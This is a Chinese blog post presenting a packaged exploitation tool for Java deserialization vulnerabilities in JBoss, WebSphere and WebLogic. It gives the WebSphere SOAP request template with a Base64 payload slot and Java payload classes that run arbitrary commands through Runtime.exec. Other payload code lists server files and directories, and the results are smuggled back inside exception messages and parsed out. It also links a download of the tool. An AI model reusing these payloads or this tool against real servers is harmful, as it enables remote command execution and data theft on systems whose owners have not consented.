Java反序列化利用工具 -- Java Deserialization Exp Tools

Java反序列化漏洞已经被曝出一段时间了,本人参考了网上大神的放出来的工具,将Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。FreeBuf上已经公开了JBoss反序列化执行命令回显的工具,在本文中就不多做叙述了。其实,WebSphere的利用过程也和JBoss差不多,只不过在发送Payload和解析结果的时候多了个Base64编码(解码)的过程。 本工具暂时支持的功能: 1、本地命令执行并回显,无须加载外部jar包,支持纯内网环境检测。 2、支持JBoss、WebSphere和Weblogic的反序列化漏洞检测。 3、支持https数据传输。 4、支持文件目录列表。

0X01 WebSphere的反序列化漏洞利用过程 WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880,使用的通信协议是https,发送的数据是XML格式的数据

<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
<LoginMethod>BasicAuth</LoginMethod>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">Base64(payload)</objectname>
<attribute xsi:type="xsd:string">ringBufferSize</attribute>
</ns1:getAttribute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

将我们构造的执行命令的payload通过base64编码后放在objectname节点中,通过https发送到服务器端,服务器端调用相应的执行函数,将结果发送给客户端,同样的,返回的数据也是经过base64编码的。 WebSphere的Payload和JBoss的基本一致。如下是执行命令的payload。

public RunCommand(String command) throws Exception
{
Process proc = Runtime.getRuntime().exec(command);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = "\r\n\r\n==========" + sb.toString() + "==========\r\n";
br.close();
Exception e=new Exception(result);
throw e;
}

将命令执行结果以字符隔开,这样在客户端获取数据后,可通过split、substring等方法对命令的执行结果进行解析。解析命令的源码如下:

public static String parseResult(String result)
{
String tmp=result.split("<faultstring>")[1];
String reString=tmp.split("</faultstring>")[0];
String resultTmp=new String(Base64.getDecoder().decode(reString));
int x1=resultTmp.indexOf("==========")+10;
int x2=resultTmp.lastIndexOf("==========")-1;
String returnValue="";
if(x1>=0&&x2>=0)
returnValue=resultTmp.substring(x1, x2).trim();
else
returnValue=resultTmp;
return returnValue;
}

0X02 文件列表读取 获取文件列表的功能是通过Java的listRoot和listFiles来实现的,获取文件和目录列表的过程和命令执行大概相同。在这我就简单的描述一下过程:如果传入方法的是一个空值,那么就通过Files.listRoot获取根目录或者驱动器列表,否则,传入的值是路径的话,就通过file.listFiles方法获取目录下的所有文件和目录,将获取到的目录名放到{}中,将文件名放在[]中,这样,就方便我们在程序中对获取到的数据进行解析。 获取目录的payload代码如下:

public GetFileList(String fileName) throws Exception
{
StringBuilder sb=new StringBuilder();
String result=new String();
if(fileName.isEmpty())
{
File[] files=File.listRoots();
for(int i=0;i<files.length;i++)
{
sb.append(files[i].getAbsolutePath()).append(",");
}
result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";
}
else
{
File file=new File(fileName);
StringBuilder dirList=new StringBuilder();
StringBuilder fileList=new StringBuilder();
if(file.isDirectory())
{
File[] list=file.listFiles();
dirList.append("{");
fileList.append("[");
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
dirList.append(list[i].getAbsolutePath()).append(",");
else
fileList.append(list[i].getAbsolutePath()).append(",");
}
}
if(!dirList.toString().isEmpty())
sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}");
if(!fileList.toString().isEmpty())
sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]");
result=sb.toString();
}
result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";
Exception e=new Exception(result);
throw e;
}

解析的时候,先将执行结果分离出来,再对结果base64解码,再进一步区分目录和文件,分别添加到界面的目录树中。

注:设计时为了美观,使用了JavaFX来设计界面,运行时需要JDK1.8环境。 程序运行效果如下:

DeserializeExploit.jar (45.1 MB, 1,415 次)

更新内容: 1.多线程处理任务,解决命令执行过程中界面无法响应的问题 2.[Bug Fix]weblogic console端口改为80时无法获取数据 3.[Bug Fix]weblogic第一次获取信息或执行命令响应时间过长的问题

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JavaEdge

Bean Validation 介绍及最佳实践关于 Bean ValidationBean Validation 中的 constraint创建一个包含验证逻辑的简单应用(基于 JSP)定制化的 co

31670
来自专栏封碎

NDK入门、提高和实战 博客分类: Android AndroidLinuxJNIEclipseC#

    网上也有一些对NDK的介绍,不过都是很简单的把sample里面的例子讲解一下,并不深入,我这里把我的所得分享一下。我下载的是Android Native...

14760
来自专栏Python研发

Django之Model世界

django为使用一种新的方式,即:关系对象映射(Object Relational Mapping,简称ORM)

15620
来自专栏赵俊的Java专栏

log4j 详解

日志信息的优先级从高到低有 OFF、FATAL、ERROR、WARN、INFO、DEBUG、ALL,但只建议使用 ERROR、WARN、INFO、DEBUG 四...

14110
来自专栏我就是马云飞

设计模式二十四章经之责任链模式

14730
来自专栏菩提树下的杨过

struts2 异常处理3板斧

板斧1:找不到action的错误 ? 在struts.xml中参考如下配置 1 <struts> 2 3 ... 4 <package...

22160
来自专栏技术碎碎念

Jsp语法、指令及动作元素

一、JSP的语法 1、JSP的模板元素:(先写HTML)    就是JSP中的那些HTML标记    作用:页面布局和美化 2、JSP的Java脚本表达式:  ...

46060
来自专栏Java架构师历程

spring boot应用启动原理分析

摘要: spring boot quick start 在spring boot里,很吸引人的一个特性是可以直接把应用打包成为一个jar/war,然后这个jar...

89330
来自专栏琯琯博客

Yii2 学习笔记之验证规则

48160
来自专栏无题

Mybatis源码解析

MyBatis初始化 MyBatis在初始化的时候,会将MyBatis的配置信息全部加载到内存中,使用org.apache.ibatis.session.Con...

30470

扫码关注云+社区

领取腾讯云代金券